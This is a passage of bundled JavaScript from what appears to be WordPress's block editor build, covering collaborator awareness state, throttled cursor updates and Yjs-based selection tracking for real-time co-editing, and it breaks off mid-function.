12579 opLength = Math.min(length3, thisIter.peekLength());
12580 thisIter.next(opLength);
12581 retDelta.delete(opLength);
12582 } else {
12583 opLength = Math.min(
12584 thisIter.peekLength(),
12585 otherIter.peekLength(),
12586 length3
12587 );
12588 const thisOp = thisIter.next(opLength);
12589 const otherOp = otherIter.next(opLength);
12590 if ((0, import_es63.default)(thisOp.insert, otherOp.insert)) {
12591 retDelta.retain(
12592 opLength,
12593 AttributeMap_default.diff(
12594 thisOp.attributes,
12595 otherOp.attributes
12596 )
12597 );
12598 } else {
12599 retDelta.push(otherOp).delete(opLength);
12600 }
12601 }
12602 length3 -= opLength;
12603 }
12604 });
12605 return retDelta;
12606 }
12607 };
12608 var Delta_default = Delta;
12609
12610 // packages/sync/build-module/private-apis.mjs
12611 var privateApis = {};
12612 lock(privateApis, {
12613 ConnectionErrorCode,
12614 createSyncManager,
12615 Delta: Delta_default,
12616 CRDT_DOC_META_PERSISTENCE_KEY,
12617 CRDT_RECORD_MAP_KEY,
12618 LOCAL_EDITOR_ORIGIN,
12619 LOCAL_UNDO_IGNORED_ORIGIN,
12620 retrySyncConnection: () => pollingManager.retryNow()
12621 });
12622
12623 // packages/core-data/build-module/awareness/post-editor-awareness.mjs
12624 var import_block_editor3 = __toESM(require_block_editor(), 1);
12625
12626 // packages/core-data/build-module/awareness/base-awareness.mjs
12627 var import_data2 = __toESM(require_data(), 1);
12628
12629 // packages/core-data/build-module/awareness/config.mjs
12630 var AWARENESS_CURSOR_UPDATE_THROTTLE_IN_MS = 100;
12631 var LOCAL_CURSOR_UPDATE_DEBOUNCE_IN_MS = 5;
12632 var REMOVAL_DELAY_IN_MS = 5e3;
12633
12634 // packages/core-data/build-module/awareness/utils.mjs
12635 function getBrowserName() {
12636 const userAgent = window.navigator.userAgent;
12637 let browserName = "Unknown";
12638 if (userAgent.includes("Firefox")) {
12639 browserName = "Firefox";
12640 } else if (userAgent.includes("Edg")) {
12641 browserName = "Microsoft Edge";
12642 } else if (userAgent.includes("Chrome") && !userAgent.includes("Edg")) {
12643 browserName = "Chrome";
12644 } else if (userAgent.includes("Safari") && !userAgent.includes("Chrome")) {
12645 browserName = "Safari";
12646 } else if (userAgent.includes("MSIE") || userAgent.includes("Trident")) {
12647 browserName = "Internet Explorer";
12648 } else if (userAgent.includes("Opera") || userAgent.includes("OPR")) {
12649 browserName = "Opera";
12650 }
12651 return browserName;
12652 }
12653 function areMapsEqual(map1, map2, comparatorFn) {
12654 if (map1.size !== map2.size) {
12655 return false;
12656 }
12657 for (const [key, value1] of map1.entries()) {
12658 if (!map2.has(key)) {
12659 return false;
12660 }
12661 if (!comparatorFn(value1, map2.get(key))) {
12662 return false;
12663 }
12664 }
12665 return true;
12666 }
12667 function areCollaboratorInfosEqual(collaboratorInfo1, collaboratorInfo2) {
12668 if (!collaboratorInfo1 || !collaboratorInfo2) {
12669 return collaboratorInfo1 === collaboratorInfo2;
12670 }
12671 if (Object.keys(collaboratorInfo1).length !== Object.keys(collaboratorInfo2).length) {
12672 return false;
12673 }
12674 return Object.entries(collaboratorInfo1).every(([key, value]) => {
12675 return value === collaboratorInfo2[key];
12676 });
12677 }
12678 function generateCollaboratorInfo(currentCollaborator) {
12679 const { avatar_urls, id: id2, name, slug } = currentCollaborator;
12680 return {
12681 avatar_urls,
12682 // eslint-disable-line camelcase
12683 browserType: getBrowserName(),
12684 enteredAt: Date.now(),
12685 id: id2,
12686 name,
12687 slug
12688 };
12689 }
12690 function getRecordValue(obj, key) {
12691 if ("object" === typeof obj && null !== obj && key in obj) {
12692 return obj[key];
12693 }
12694 return null;
12695 }
12696 function getTypedKeys(obj) {
12697 return Object.keys(obj);
12698 }
12699
12700 // packages/core-data/build-module/awareness/typed-awareness.mjs
12701 var TypedAwareness = class extends Awareness {
12702 /**
12703 * Get the states from an awareness document.
12704 */
12705 getStates() {
12706 return super.getStates();
12707 }
12708 /**
12709 * Get a local state field from an awareness document.
12710 * @param field
12711 */
12712 getLocalStateField(field) {
12713 const state = this.getLocalState();
12714 return getRecordValue(state, field);
12715 }
12716 /**
12717 * Set a local state field on an awareness document.
12718 * @param field
12719 * @param value
12720 */
12721 setLocalStateField(field, value) {
12722 super.setLocalStateField(field, value);
12723 }
12724 };
12725
12726 // packages/core-data/build-module/awareness/awareness-state.mjs
12727 var AwarenessWithEqualityChecks = class extends TypedAwareness {
12728 /** OVERRIDDEN METHODS */
12729 /**
12730 * Set a local state field on an awareness document. Calling this method may
12731 * trigger rerenders of any subscribed components.
12732 *
12733 * Equality checks are provided by the abstract `equalityFieldChecks` property.
12734 * @param field - The field to set.
12735 * @param value - The value to set.
12736 */
12737 setLocalStateField(field, value) {
12738 if (this.isFieldEqual(
12739 field,
12740 value,
12741 this.getLocalStateField(field) ?? void 0
12742 )) {
12743 return;
12744 }
12745 super.setLocalStateField(field, value);
12746 }
12747 /** CUSTOM METHODS */
12748 /**
12749 * Determine if a field value has changed using the provided equality checks.
12750 * @param field - The field to check.
12751 * @param value1 - The first value to compare.
12752 * @param value2 - The second value to compare.
12753 */
12754 isFieldEqual(field, value1, value2) {
12755 if (["clientId", "isConnected", "isMe"].includes(field)) {
12756 return value1 === value2;
12757 }
12758 if (field in this.equalityFieldChecks) {
12759 const fn = this.equalityFieldChecks[field];
12760 return fn(value1, value2);
12761 }
12762 throw new Error(
12763 `No equality check implemented for awareness state field "${field.toString()}".`
12764 );
12765 }
12766 /**
12767 * Determine if two states are equal by comparing each field using the
12768 * provided equality checks.
12769 * @param state1 - The first state to compare.
12770 * @param state2 - The second state to compare.
12771 */
12772 isStateEqual(state1, state2) {
12773 return [
12774 .../* @__PURE__ */ new Set([
12775 ...getTypedKeys(state1),
12776 ...getTypedKeys(state2)
12777 ])
12778 ].every((field) => {
12779 const value1 = state1[field];
12780 const value2 = state2[field];
12781 return this.isFieldEqual(field, value1, value2);
12782 });
12783 }
12784 };
12785 var AwarenessState = class extends AwarenessWithEqualityChecks {
12786 /** CUSTOM PROPERTIES */
12787 /**
12788 * Whether the setUp method has been called, to avoid running it multiple
12789 * times.
12790 */
12791 hasSetupRun = false;
12792 /**
12793 * We keep track of all seen states during the current session for two reasons:
12794 *
12795 * 1. So that we can represent recently disconnected collaborators in our UI, even
12796 * after they have been removed from the awareness document.
12797 * 2. So that we can provide debug information about all collaborators seen during
12798 * the session.
12799 */
12800 disconnectedCollaborators = /* @__PURE__ */ new Set();
12801 seenStates = /* @__PURE__ */ new Map();
12802 /**
12803 * Hold a snapshot of the previous awareness state allows us to compare the
12804 * state values and avoid unnecessary updates to subscribers.
12805 */
12806 previousSnapshot = /* @__PURE__ */ new Map();
12807 stateSubscriptions = [];
12808 /**
12809 * In some cases, we may want to throttle setting local state fields to avoid
12810 * overwhelming the awareness document with rapid updates. At the same time, we
12811 * want to ensure that when we read our own state locally, we get the latest
12812 * value -- even if it hasn't yet been set on the awareness instance.
12813 */
12814 myThrottledState = {};
12815 throttleTimeouts = /* @__PURE__ */ new Map();
12816 /** CUSTOM METHODS */
12817 /**
12818 * Set up the awareness state. This method is idempotent and will only run
12819 * once. Subclasses should override `onSetUp()` instead of this method to
12820 * add their own setup logic.
12821 *
12822 * This is defined as a readonly arrow function property to prevent
12823 * subclasses from overriding it.
12824 */
12825 setUp = () => {
12826 if (this.hasSetupRun) {
12827 return;
12828 }
12829 this.hasSetupRun = true;
12830 this.onSetUp();
12831 this.on(
12832 "change",
12833 ({ added, removed, updated }) => {
12834 [...added, ...updated].forEach((id2) => {
12835 this.disconnectedCollaborators.delete(id2);
12836 });
12837 removed.forEach((id2) => {
12838 this.disconnectedCollaborators.add(id2);
12839 setTimeout(() => {
12840 this.disconnectedCollaborators.delete(id2);
12841 this.updateSubscribers(
12842 true
12843 /* force update */
12844 );
12845 }, REMOVAL_DELAY_IN_MS);
12846 });
12847 this.updateSubscribers();
12848 }
12849 );
12850 };
12851 /**
12852 * Get the most recent state from the last processed change event.
12853 *
12854 * @return An array of EnhancedState< State >.
12855 */
12856 getCurrentState() {
12857 return Array.from(this.previousSnapshot.values());
12858 }
12859 /**
12860 * Get all seen states in this session to enable debug reporting.
12861 */
12862 getSeenStates() {
12863 return this.seenStates;
12864 }
12865 /**
12866 * Allow external code to subscribe to awareness state changes.
12867 * @param callback - The callback to subscribe to.
12868 */
12869 onStateChange(callback) {
12870 this.stateSubscriptions.push(callback);
12871 return () => {
12872 this.stateSubscriptions = this.stateSubscriptions.filter(
12873 (cb) => cb !== callback
12874 );
12875 };
12876 }
12877 /**
12878 * Set a local state field on an awareness document with throttle. See caveats
12879 * of this.setLocalStateField.
12880 * @param field - The field to set.
12881 * @param value - The value to set.
12882 * @param wait - The wait time in milliseconds.
12883 */
12884 setThrottledLocalStateField(field, value, wait) {
12885 this.setLocalStateField(field, value);
12886 this.throttleTimeouts.set(
12887 field,
12888 setTimeout(() => {
12889 this.throttleTimeouts.delete(field);
12890 if (this.myThrottledState[field]) {
12891 this.setLocalStateField(
12892 field,
12893 this.myThrottledState[field]
12894 );
12895 delete this.myThrottledState[field];
12896 }
12897 }, wait)
12898 );
12899 }
12900 /**
12901 * Set the current collaborator's connection status as awareness state.
12902 * @param isConnected - The connection status.
12903 */
12904 setConnectionStatus(isConnected) {
12905 if (isConnected) {
12906 this.disconnectedCollaborators.delete(this.clientID);
12907 } else {
12908 this.disconnectedCollaborators.add(this.clientID);
12909 }
12910 this.updateSubscribers(
12911 true
12912 /* force update */
12913 );
12914 }
12915 /**
12916 * Update all subscribed listeners with the latest awareness state.
12917 * @param forceUpdate - Whether to force an update.
12918 */
12919 updateSubscribers(forceUpdate = false) {
12920 if (!this.stateSubscriptions.length) {
12921 return;
12922 }
12923 const states = this.getStates();
12924 this.seenStates = new Map([
12925 ...this.seenStates.entries(),
12926 ...states.entries()
12927 ]);
12928 const updatedStates = new Map(
12929 [...this.disconnectedCollaborators, ...states.keys()].filter((clientId) => {
12930 return Object.keys(this.seenStates.get(clientId) ?? {}).length > 0;
12931 }).map((clientId) => {
12932 const rawState = this.seenStates.get(clientId);
12933 const isConnected = !this.disconnectedCollaborators.has(clientId);
12934 const isMe = clientId === this.clientID;
12935 const myState = isMe ? this.myThrottledState : {};
12936 const state = {
12937 ...rawState,
12938 ...myState,
12939 clientId,
12940 isConnected,
12941 isMe
12942 };
12943 return [clientId, state];
12944 })
12945 );
12946 if (!forceUpdate) {
12947 if (areMapsEqual(
12948 this.previousSnapshot,
12949 updatedStates,
12950 this.isStateEqual.bind(this)
12951 )) {
12952 return;
12953 }
12954 }
12955 this.previousSnapshot = updatedStates;
12956 this.stateSubscriptions.forEach((callback) => {
12957 callback(Array.from(updatedStates.values()));
12958 });
12959 }
12960 };
12961
12962 // packages/core-data/build-module/name.mjs
12963 var STORE_NAME = "core";
12964
12965 // packages/core-data/build-module/awareness/base-awareness.mjs
12966 var BaseAwarenessState = class extends AwarenessState {
12967 onSetUp() {
12968 void this.setCurrentCollaboratorInfo();
12969 }
12970 /**
12971 * Set the current collaborator info in the local state.
12972 */
12973 async setCurrentCollaboratorInfo() {
12974 const currentUser2 = await (0, import_data2.resolveSelect)(STORE_NAME).getCurrentUser();
12975 const collaboratorInfo = generateCollaboratorInfo(currentUser2);
12976 this.setLocalStateField("collaboratorInfo", collaboratorInfo);
12977 }
12978 };
12979 var baseEqualityFieldChecks = {
12980 collaboratorInfo: areCollaboratorInfosEqual
12981 };
12982 var BaseAwareness = class extends BaseAwarenessState {
12983 equalityFieldChecks = baseEqualityFieldChecks;
12984 };
12985
12986 // packages/core-data/build-module/awareness/block-lookup.mjs
12987 var import_data3 = __toESM(require_data(), 1);
12988 var import_block_editor = __toESM(require_block_editor(), 1);
12989 function getBlockPathInYdoc(yType) {
12990 const path = [];
12991 let current = yType;
12992 while (current) {
12993 const parentArray = current.parent;
12994 if (!parentArray || !(parentArray instanceof yjs_exports.Array)) {
12995 return null;
12996 }
12997 let index = -1;
12998 for (let i = 0; i < parentArray.length; i++) {
12999 if (parentArray.get(i) === current) {
13000 index = i;
13001 break;
13002 }
13003 }
13004 if (index === -1) {
13005 return null;
13006 }
13007 path.unshift(index);
13008 const grandparent = parentArray.parent;
13009 if (grandparent instanceof yjs_exports.Map && grandparent.get("clientId") !== void 0) {
13010 current = grandparent;
13011 } else {
13012 break;
13013 }
13014 }
13015 return path;
13016 }
13017 function resolveBlockClientIdByPath(path) {
13018 if (path.length === 0) {
13019 return null;
13020 }
13021 const { getBlocks } = (0, import_data3.select)(import_block_editor.store);
13022 const postContentBlocks = getPostContentBlocks(getBlocks(), getBlocks);
13023 let blocks = postContentBlocks;
13024 for (let i = 0; i < path.length; i++) {
13025 const block = blocks[path[i]];
13026 if (!block) {
13027 return null;
13028 }
13029 if (i === path.length - 1) {
13030 return block.clientId;
13031 }
13032 blocks = block.innerBlocks;
13033 }
13034 return null;
13035 }
13036 function getPostContentBlocks(rootBlocks, getBlocks) {
13037 const postContentBlock = findBlockByName(rootBlocks, "core/post-content");
13038 if (postContentBlock) {
13039 return getBlocks(postContentBlock.clientId);
13040 }
13041 return rootBlocks;
13042 }
13043 function findBlockByName(blocks, name) {
13044 for (const block of blocks) {
13045 if (block.name === name) {
13046 return block;
13047 }
13048 if (block.innerBlocks?.length) {
13049 const found = findBlockByName(block.innerBlocks, name);
13050 if (found) {
13051 return found;
13052 }
13053 }
13054 }
13055 return null;
13056 }
13057
13058 // packages/core-data/build-module/utils/crdt-utils.mjs
13059 var import_rich_text = __toESM(require_rich_text(), 1);
13060
13061 // packages/core-data/build-module/lock-unlock.mjs
13062 var import_private_apis3 = __toESM(require_private_apis(), 1);
13063 var { lock: lock2, unlock: unlock2 } = (0, import_private_apis3.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
13064 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
13065 "@wordpress/core-data"
13066 );
13067
13068 // packages/core-data/build-module/sync.mjs
13069 var {
13070 ConnectionErrorCode: ConnectionErrorCode2,
13071 createSyncManager: createSyncManager2,
13072 Delta: Delta2,
13073 CRDT_DOC_META_PERSISTENCE_KEY: CRDT_DOC_META_PERSISTENCE_KEY2,
13074 CRDT_RECORD_MAP_KEY: CRDT_RECORD_MAP_KEY2,
13075 LOCAL_EDITOR_ORIGIN: LOCAL_EDITOR_ORIGIN2,
13076 LOCAL_UNDO_IGNORED_ORIGIN: LOCAL_UNDO_IGNORED_ORIGIN2,
13077 retrySyncConnection
13078 } = unlock2(privateApis);
13079 var syncManager;
13080 function getSyncManager() {
13081 if (syncManager) {
13082 return syncManager;
13083 }
13084 syncManager = createSyncManager2();
13085 return syncManager;
13086 }
13087
13088 // packages/core-data/build-module/utils/crdt-utils.mjs
13089 function getRootMap(doc2, key) {
13090 return doc2.getMap(key);
13091 }
13092 function createYMap(partial = {}) {
13093 return new yjs_exports.Map(Object.entries(partial));
13094 }
13095 function isYMap(value) {
13096 return value instanceof yjs_exports.Map;
13097 }
13098 function findBlockByClientIdInDoc(blockId, ydoc) {
13099 const ymap = getRootMap(ydoc, CRDT_RECORD_MAP_KEY2);
13100 const blocks = ymap.get("blocks");
13101 if (!(blocks instanceof yjs_exports.Array)) {
13102 return null;
13103 }
13104 return findBlockByClientIdInBlocks(blockId, blocks);
13105 }
13106 var MARKER_START = 57344;
13107 function pickMarker(text2) {
13108 const tryCount = 16;
13109 for (let code = MARKER_START; code < MARKER_START + tryCount; code++) {
13110 const candidate = String.fromCharCode(code);
13111 if (!text2.includes(candidate)) {
13112 return candidate;
13113 }
13114 }
13115 return null;
13116 }
13117 function htmlIndexToRichTextOffset(html, htmlIndex) {
13118 if (!html.includes("<") && !html.includes("&")) {
13119 return htmlIndex;
13120 }
13121 const marker = pickMarker(html);
13122 if (!marker) {
13123 return htmlIndex;
13124 }
13125 const withMarker = html.slice(0, htmlIndex) + marker + html.slice(htmlIndex);
13126 const value = (0, import_rich_text.create)({ html: withMarker });
13127 const markerPos = value.text.indexOf(marker);
13128 return markerPos === -1 ? htmlIndex : markerPos;
13129 }
13130 function richTextOffsetToHtmlIndex(html, richTextOffset) {
13131 if (!html.includes("<") && !html.includes("&")) {
13132 return richTextOffset;
13133 }
13134 const marker = pickMarker(html);
13135 if (!marker) {
13136 return richTextOffset;
13137 }
13138 const value = (0, import_rich_text.create)({ html });
13139 const markerValue = (0, import_rich_text.create)({ text: marker });
13140 if (value.formats[richTextOffset]) {
13141 markerValue.formats[0] = value.formats[richTextOffset];
13142 }
13143 const withMarker = (0, import_rich_text.insert)(
13144 value,
13145 markerValue,
13146 richTextOffset,
13147 richTextOffset
13148 );
13149 const htmlWithMarker = (0, import_rich_text.toHTMLString)({ value: withMarker });
13150 const markerIndex = htmlWithMarker.indexOf(marker);
13151 return markerIndex === -1 ? richTextOffset : markerIndex;
13152 }
13153 function findBlockByClientIdInBlocks(blockId, blocks) {
13154 for (const block of blocks) {
13155 if (block.get("clientId") === blockId) {
13156 return block;
13157 }
13158 const innerBlocks = block.get("innerBlocks");
13159 if (innerBlocks && innerBlocks.length > 0) {
13160 const innerBlock = findBlockByClientIdInBlocks(
13161 blockId,
13162 innerBlocks
13163 );
13164 if (innerBlock) {
13165 return innerBlock;
13166 }
13167 }
13168 }
13169 return null;
13170 }
13171
13172 // packages/core-data/build-module/utils/crdt-user-selections.mjs
13173 var import_data4 = __toESM(require_data(), 1);
13174 var import_block_editor2 = __toESM(require_block_editor(), 1);
13175 var SelectionType = /* @__PURE__ */ ((SelectionType2) => {
13176 SelectionType2["None"] = "none";
13177 SelectionType2["Cursor"] = "cursor";
13178 SelectionType2["SelectionInOneBlock"] = "selection-in-one-block";
13179 SelectionType2["SelectionInMultipleBlocks"] = "selection-in-multiple-blocks";
13180 SelectionType2["WholeBlock"] = "whole-block";
13181 return SelectionType2;
13182 })(SelectionType || {});
13183 var SelectionDirection = /* @__PURE__ */ ((SelectionDirection2) => {
13184 SelectionDirection2["Forward"] = "f";
13185 SelectionDirection2["Backward"] = "b";
13186 return SelectionDirection2;
13187 })(SelectionDirection || {});
13188 function getSelectionState(selectionStart, selectionEnd, yDoc, options) {
13189 const { selectionDirection } = options ?? {};
13190 const ymap = getRootMap(yDoc, CRDT_RECORD_MAP_KEY2);
13191 const yBlocks = ymap.get("blocks");
13192 const isSelectionEmpty = Object.keys(selectionStart).length === 0;
13193 const noSelection = {
13194 type: "none"
13195 /* None */
13196 };
13197 if (isSelectionEmpty || !yBlocks) {
13198 return noSelection;
13199 }
13200 const isSelectionInOneBlock = selectionStart.clientId === selectionEnd.clientId;
13201 const isCursorOnly = isSelectionInOneBlock && selectionStart.offset === selectionEnd.offset;
13202 const isSelectionAWholeBlock = isSelectionInOneBlock && selectionStart.offset === void 0 && selectionEnd.offset === void 0;
13203 if (isSelectionAWholeBlock) {
13204 const path = getBlockPathForLocalClientId(selectionStart.clientId);
13205 const blockPosition = path ? createRelativePositionForBlockPath(path, yBlocks) : null;
13206 if (!blockPosition) {
13207 return noSelection;
13208 }
13209 return {
13210 type: "whole-block",
13211 blockPosition
13212 };
13213 } else if (isCursorOnly) {
13214 const cursorPosition = getCursorPosition(selectionStart, yBlocks);
13215 if (!cursorPosition) {
13216 return noSelection;
13217 }
13218 return {
13219 type: "cursor",
13220 cursorPosition
13221 };
13222 } else if (isSelectionInOneBlock) {
13223 const cursorStartPosition2 = getCursorPosition(
13224 selectionStart,
13225 yBlocks
13226 );
13227 const cursorEndPosition2 = getCursorPosition(selectionEnd, yBlocks);
13228 if (!cursorStartPosition2 || !cursorEndPosition2) {
13229 return noSelection;
13230 }
13231 return {
13232 type: "selection-in-one-block",
13233 cursorStartPosition: cursorStartPosition2,
13234 cursorEndPosition: cursorEndPosition2,
13235 selectionDirection
13236 };
13237 }
13238 const cursorStartPosition = getCursorPosition(selectionStart, yBlocks);
13239 const cursorEndPosition = getCursorPosition(selectionEnd, yBlocks);
13240 if (!cursorStartPosition || !cursorEndPosition) {
13241 return noSelection;
13242 }
13243 return {
13244 type: "selection-in-multiple-blocks",
13245 cursorStartPosition,
13246 cursorEndPosition,
13247 selectionDirection
13248 };
13249 }
13250 function getCursorPosition(selection, blocks) {
13251 const path = getBlockPathForLocalClientId(selection.clientId);
13252 const block = path ? findBlockByPath(path, blocks) : null;
13253 if (!block || !selection.attributeKey || void 0 === selection.offset) {
13254 return null;
13255 }
13256 const attributes = block.get("attributes");
13257 const currentYText = attributes?.get(selection.attributeKey);
13258 if (!(currentYText instanceof yjs_exports.Text)) {
13259 return null;
13260 }
13261 const relativePosition = yjs_exports.createRelativePositionFromTypeIndex(
13262 currentYText,
13263 richTextOffsetToHtmlIndex(currentYText.toString(), selection.offset)
13264 );
13265 return {
13266 relativePosition,
13267 absoluteOffset: selection.offset
13268 };
13269 }
13270 function getBlockPathForLocalClientId(clientId) {
13271 const { getBlockIndex, getBlockRootClientId, getBlockName } = (0, import_data4.select)(import_block_editor2.store);
13272 const path = [];
13273 let current = clientId;
13274 while (current) {
13275 const index = getBlockIndex(current);
13276 if (index === -1) {
13277 return null;
13278 }
13279 path.unshift(index);
13280 const parent = getBlockRootClientId(current);
13281 if (!parent) {
13282 break;
13283 }
13284 const parentName = getBlockName(parent);
13285 if (parentName === "core/post-content") {
13286 break;
13287 }
13288 current = parent;
13289 }
13290 return path.length > 0 ? path : null;
13291 }
13292 function findBlockByPath(path, blocks) {
13293 let currentBlocks = blocks;
13294 for (let i = 0; i < path.length; i++) {
13295 if (path[i] >= currentBlocks.length) {
13296 return null;
13297 }
13298 const block = currentBlocks.get(path[i]);
13299 if (!block) {
13300 return null;
13301 }
13302 if (i === path.length - 1) {
13303 return block;
13304 }
13305 currentBlocks = block.get("innerBlocks") ?? new yjs_exports.Array();
13306 }
13307 return null;
13308 }
13309 function createRelativePositionForBlockPath(path, blocks) {
13310 let currentBlocks = blocks;
13311 for (let i = 0; i < path.length; i++) {
13312 if (path[i] >= currentBlocks.length) {
13313 return null;
13314 }
13315 if (i === path.length - 1) {
13316 return yjs_exports.createRelativePositionFromTypeIndex(
13317 currentBlocks,
13318 path[i]
13319 );
13320 }
13321 const block = currentBlocks.get(path[i]);
13322 currentBlocks = block?.get("innerBlocks") ?? new yjs_exports.Array();
13323 }
13324 return null;
13325 }
13326 function areSelectionsStatesEqual(selection1, selection2) {
13327 if (selection1.type !== selection2.type) {
13328 return false;
13329 }
13330 switch (selection1.type) {
13331 case "none":
13332 return true;
13333 case "cursor":
13334 return areCursorPositionsEqual(
13335 selection1.cursorPosition,
13336 selection2.cursorPosition
13337 );
13338 case "selection-in-one-block":
13339 return areCursorPositionsEqual(
13340 selection1.cursorStartPosition,
13341 selection2.cursorStartPosition
13342 ) && areCursorPositionsEqual(
13343 selection1.cursorEndPosition,
13344 selection2.cursorEndPosition
13345 ) && selection1.selectionDirection === selection2.selectionDirection;
13346 case "selection-in-multiple-blocks":
13347 return areCursorPositionsEqual(
13348 selection1.cursorStartPosition,
13349 selection2.cursorStartPosition
13350 ) && areCursorPositionsEqual(
13351 selection1.cursorEndPosition,
13352 selection2.cursorEndPosition
13353 ) && selection1.selectionDirection === selection2.selectionDirection;
13354 case "whole-block":
13355 return yjs_exports.compareRelativePositions(
13356 selection1.blockPosition,
13357 selection2.blockPosition
13358 );
13359 default:
13360 return false;
13361 }
13362 }
13363 function areCursorPositionsEqual(cursorPosition1, cursorPosition2) {
13364 const isRelativePositionEqual = yjs_exports.compareRelativePositions(
13365 cursorPosition1.relativePosition,
13366 cursorPosition2.relativePosition
13367 );
13368 const isAbsoluteOffsetEqual = cursorPosition1.absoluteOffset === cursorPosition2.absoluteOffset;
13369 return isRelativePositionEqual && isAbsoluteOffsetEqual;
13370 }
13371
13372 // packages/core-data/build-module/awareness/post-editor-awareness.mjs
13373 var PostEditorAwareness = class extends BaseAwarenessState {
13374 constructor(doc2, kind, name, postId) {
13375 super(doc2);
13376 this.kind = kind;
13377 this.name = name;
13378 this.postId = postId;
13379 }
13380 equalityFieldChecks = {
13381 ...baseEqualityFieldChecks,
13382 editorState: this.areEditorStatesEqual
13383 };
13384 onSetUp() {
13385 super.onSetUp();
13386 this.subscribeToCollaboratorSelectionChanges();
13387 }
13388 /**
13389 * Subscribe to collaborator selection changes and update the selection state.
13390 */
13391 subscribeToCollaboratorSelectionChanges() {
13392 const {
13393 getSelectionStart,
13394 getSelectionEnd,
13395 getSelectedBlocksInitialCaretPosition
13396 } = (0, import_data5.select)(import_block_editor3.store);
13397 let selectionStart = getSelectionStart();
13398 let selectionEnd = getSelectionEnd();
13399 let localCursorTimeout = null;
13400 let selectionBeforeDebounce = null;
13401 (0, import_data5.subscribe)(() => {
13402 const newSelectionStart = getSelectionStart();
13403 const newSelectionEnd = getSelectionEnd();
13404 if (newSelectionStart === selectionStart && newSelectionEnd === selectionEnd) {
13405 return;
13406 }
13407 if (!selectionBeforeDebounce) {
13408 selectionBeforeDebounce = {
13409 start: selectionStart,
13410 end: selectionEnd
13411 };
13412 }
13413 selectionStart = newSelectionStart;
13414 selectionEnd = newSelectionEnd;
13415 const initialPosition = getSelectedBlocksInitialCaretPosition();
13416 void this.updateSelectionInEntityRecord(
13417 selectionStart,
13418 selectionEnd,
13419 initialPosition
13420 );
13421 if (localCursorTimeout) {
13422 clearTimeout(localCursorTimeout);
13423 }
13424 localCursorTimeout = setTimeout(() => {
13425 const selectionStateOptions = {};
13426 if (selectionBeforeDebounce) {
13427 selectionStateOptions.selectionDirection = detectSelectionDirection(
13428 selectionBeforeDebounce.start,
13429 selectionBeforeDebounce.end,
13430 selectionStart,
13431 selectionEnd
13432 );
13433 selectionBeforeDebounce = null;
13434 }
13435 const selectionState = getSelectionState(
13436 selectionStart,
13437 selectionEnd,
13438 this.doc,
13439 selectionStateOptions
13440 );
13441 this.setThrottledLocalStateField(
13442 "editorState",
13443 { selection: selectionState },
13444 AWARENESS_CURSOR_UPDATE_THROTTLE_IN_MS
13445 );
13446 }, LOCAL_CURSOR_UPDATE_DEBOUNCE_IN_MS);
13447 });
13448 }
13449 /**
13450 * Update the entity record with the current collaborator's selection.
13451 *
13452 * @param selectionStart - The start position of the selection.
13453 * @param selectionEnd - The end position of the selection.
13454 * @param initialPosition - The initial position of the selection.
13455 */
13456 async updateSelectionInEntityRecord(selectionStart, selectionEnd, initialPosition) {
13457 const edits = {
13458 selection: { selectionStart, selectionEnd, initialPosition }
13459 };
13460 const options = {
13461 undoIgnore: true
13462 };
13463 (0, import_data5.dispatch)(STORE_NAME).editEntityRecord(
13464 this.kind,
13465 this.name,
13466 this.postId,
13467 edits,
13468 options
13469 );
13470 }
13471 /**
13472 * Check if two editor states are equal.
13473 *
13474 * @param state1 - The first editor state.
13475 * @param state2 - The second editor state.
13476 * @return True if the editor states are equal, false otherwise.
13477 */
13478 areEditorStatesEqual(state1, state2) {
13479 if (!state1 || !state2) {
13480 return state1 === state2;
13481 }
13482 if (!state1.selection || !state2.selection) {
13483 return state1.selection === state2.selection;
13484 }
13485 return areSelectionsStatesEqual(state1.selection, state2.selection);
13486 }
13487 /**
13488 * Resolve a selection state to a text index and block client ID.
13489 *
13490 * For text-based selections, navigates up from the resolved Y.Text via
13491 * AbstractType.parent to find the containing block, then resolves the
13492 * local clientId via the block's tree path.
13493 * For WholeBlock selections, resolves the block's relative position and
13494 * then finds the local clientId via tree path.
13495 *
13496 * Tree-path resolution is used instead of reading the clientId directly
13497 * from the Yjs block because the local block-editor store may use different
13498 * clientIds (e.g. in "Show Template" mode where blocks are cloned).
13499 *
13500 * @param selection - The selection state.
13501 * @return The rich-text offset and block client ID, or nulls if not resolvable.
13502 */
13503 convertSelectionStateToAbsolute(selection) {
13504 if (selection.type === SelectionType.None) {
13505 return { richTextOffset: null, localClientId: null };
13506 }
13507 if (selection.type === SelectionType.WholeBlock) {
13508 const absolutePos = yjs_exports.createAbsolutePositionFromRelativePosition(
13509 selection.blockPosition,
13510 this.doc
13511 );
13512 let localClientId2 = null;
13513 if (absolutePos && absolutePos.type instanceof yjs_exports.Array) {
13514 const parentArray = absolutePos.type;
13515 const block = parentArray.get(absolutePos.index);
13516 if (block instanceof yjs_exports.Map) {
13517 const path2 = getBlockPathInYdoc(block);
13518 localClientId2 = path2 ? resolveBlockClientIdByPath(path2) : null;
13519 }
13520 }
13521 return { richTextOffset: null, localClientId: localClientId2 };
13522 }
13523 const cursorPos = "cursorPosition" in selection ? selection.cursorPosition : selection.cursorStartPosition;
13524 const absolutePosition = yjs_exports.createAbsolutePositionFromRelativePosition(
13525 cursorPos.relativePosition,
13526 this.doc
13527 );
13528 if (!absolutePosition) {
13529 return { richTextOffset: null, localClientId: null };
13530 }
13531 const yType = absolutePosition.type.parent?.parent;
13532 const path = yType instanceof yjs_exports.Map ? getBlockPathInYdoc(yType) : null;
13533 const localClientId = path ? resolveBlockClientIdByPath(path) : null;
13534 return {
13535 richTextOffset: htmlIndexToRichTextOffset(
13536 absolutePosition.type.toString(),
13537 absolutePosition.index
13538 ),
13539 localClientId
13540 };
13541 }
13542 /**
13543 * Type guard to check if a struct is a Y.Item (not Y.GC)
13544 * @param struct - The struct to check.
13545 * @return True if the struct is a Y.Item, false otherwise.
13546 */
13547 isYItem(struct) {
13548 return "content" in struct;
13549 }
13550 /**
13551 * Get data for debugging, using the awareness state.
13552 *
13553 * @return {YDocDebugData} The debug data.
13554 */
13555 getDebugData() {
13556 const ydoc = this.doc;
13557 const docData = Object.fromEntries(
13558 Array.from(ydoc.share, ([key, value]) => [
13559 key,
13560 value.toJSON()
13561 ])
13562 );
13563 const collaboratorMapData = new Map(
13564 Array.from(this.getSeenStates().entries()).map(
13565 ([clientId, collaboratorState]) => [
13566 String(clientId),
13567 {
13568 name: collaboratorState.collaboratorInfo.name,
